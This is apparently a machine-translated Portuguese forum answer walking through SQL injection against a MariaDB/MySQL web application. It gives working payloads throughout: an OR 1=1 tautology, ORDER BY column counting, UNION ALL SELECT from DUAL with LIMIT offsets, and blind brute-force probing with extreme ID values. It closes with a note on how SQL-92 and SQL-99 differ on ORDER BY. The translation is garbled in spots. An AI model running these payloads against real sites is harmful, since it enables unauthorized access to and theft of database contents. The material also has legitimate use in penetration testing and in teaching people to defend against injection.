Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Injeção de SQL MariaDb


Ok vamos nos divertir então.

Quando eu olho para a mensagem de erro

Estou assumindo que a consulta e o código no aplicativo são mais ou menos assim pseudo-sábios, o @o é de fato uma variável de usuário MySQL.

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Usarei um violino SQL espaço para simular um teste de injeção de SQL e mais obtendo possível acesso a outras tabelas.

Você pode testar sua injeção com 1' OR 1 = 1# ou 1' OR 1 = 1-- ambos devem funcionar e devem fornecer o mesmo resultado quando você usa 1 como entrada. Isso ocorre porque o MariaDB automático está lançando os tipos para outros bancos de dados, você pode precisar usar a versão mais estrita 1' OR '1' = '1#

Que deve gerar
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Ou
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Então, porque você vê erros no aplicativo, você pode usar ORDER BY 1 para verificar quantas colunas estão selecionadas e incremente o número até obter um erro.

Erro:ER_BAD_FIELD_ERROR:coluna desconhecida '2' na 'cláusula de pedido'

Injetar com

1' ORDER BY 1# ou 1' ORDER BY 1--

O que significa classificar na primeira coluna no conjunto de resultados NÃO classificar 1 literal.

Gera
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Ou
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Quando você conhece as colunas, pode usar UNION para entrar em outras tabelas. Use NULL se você não precisar de todas as colunas.


injeção

1' UNION ALL SELECT NULL FROM DUAL#

Observe que DUAL é uma tabela "virtual" não existente no MariaDB, MySQL e Oracle, se você pode consultar esta "tabela" significa que também pode entrar tecnicamente em outras tabelas.

SQL gerado
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

E se a página da web for projetada como uma página de "detalhe" onde um registro está sempre visível, você precisa adicionar um LIMIT 1, 1 em sua injeção.

E se não houver erros visíveis no aplicativo da web, você deve ser capaz de usar o bruteforce cegamente com injeções de SQL cegas e ver como o aplicativo funciona.
Tente também coisas como ?o=0 , ?o=NULL ou um número muito alto, como o valor INT máximo (assinado) ?o=2147483647 ou (não assinado) ?o=4294967295 antes de tentar bruteforce o número da coluna usada para que você saiba como o aplicativo lida com registros que não podem ser encontrados. Porque é muito improvável que tenha id 0 ou que números altos em um INT tipo de dados, porque o aplicativo parará de funcionar se o último número for fornecido. Se você ainda obtiver um registro com esses números altos, use os valores máximos para BIGINT tipo de dados em vez disso.

Para a coluna 1, mesmo ID de resultado o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#


Para as colunas 2, que apresentarão erro, mas provavelmente você verá uma página de erro ou uma mensagem de que o registro não foi encontrado.
Ou um doce status de erro HTTP 404 (Not Found).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#


Um problema que você pode ter ao usar LIMIT sem usar ORDER BY pode ser uma chance de obter os mesmos registros porque o padrão SQL definiu que tabelas/conjuntos de resultados SQL são sem ordem sem usar ORDER BY

Então você precisa continuar usando ORDER BY 1 nas forças brutas.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

E
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Os bancos de dados suportam ORDER BY 1 é melhor do que eu estava pensando a princípio, pois funciona no MySQL, MariaDB, SQL Server (MSSQL) e PostgreSQL.

Também ORDER BY 1 era um recurso do SQL 92 que foi removido no SQL 99.
Então, na verdade, os bancos de dados SQL não devem executar ORDER BY 1 mais se eles seguissem os padrões SQL neste ponto.

SQL 92 BNF
 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF
 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC